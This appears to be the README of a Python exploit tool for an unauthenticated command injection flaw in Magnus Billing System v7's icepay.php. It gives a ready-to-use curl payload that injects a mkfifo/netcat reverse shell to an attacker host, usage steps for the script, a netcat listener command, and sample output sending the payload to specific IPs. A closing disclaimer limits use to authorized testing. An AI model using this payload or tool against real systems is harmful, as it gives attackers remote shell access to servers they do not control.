
This Python script automates the exploitation of a command injection vulnerability in Magnus Billing System v7, specifically in the icepay.php script located at /mbilling/lib/icepay/icepay.php. The exploit leverages the democ parameter to execute arbitrary commands on the target system, ultimately establishing a reverse shell to an attacker-controlled machine.
The vulnerability allows unauthenticated command injection via a crafted GET request. The original proof-of-concept (PoC) used the following curl command:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
This script automates that process, making it configurable via command-line arguments.
requests library to send the HTTP request with the payloadrequests Python module:
pip install requests
netcat (nc) installed for the reverse shell to worknetcat listener on the attacker machine to catch the reverse shellicepay.php script accessibleexploit.pynetcat listener:
nc -lvnp <PORT>
<PORT> with your chosen port (e.g., 443)python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
Parameters:
-t, --target: IP address of the target Magnus Billing System-a, --attacker: Your IP address to receive the reverse shell-p, --port: Port on your machine for the reverse shellpython exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
Expected Output:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat listener to interact with the reverse shell if successfulmkfifo) with netcatprint(response.text) in the exploit() functionnetcat installedThis tool is provided for educational and security testing purposes only. Use it only on systems you have explicit permission to test. Unauthorized use against systems you do not own or have consent to test is illegal and unethical. The author is not responsible for any misuse or damage caused by this script.
This project is released under the MIT License. Feel free to modify and distribute it as needed, keeping the disclaimer intact.
Contributions, bug reports, and feature requests are welcome. Please feel free to submit a pull request or open an issue.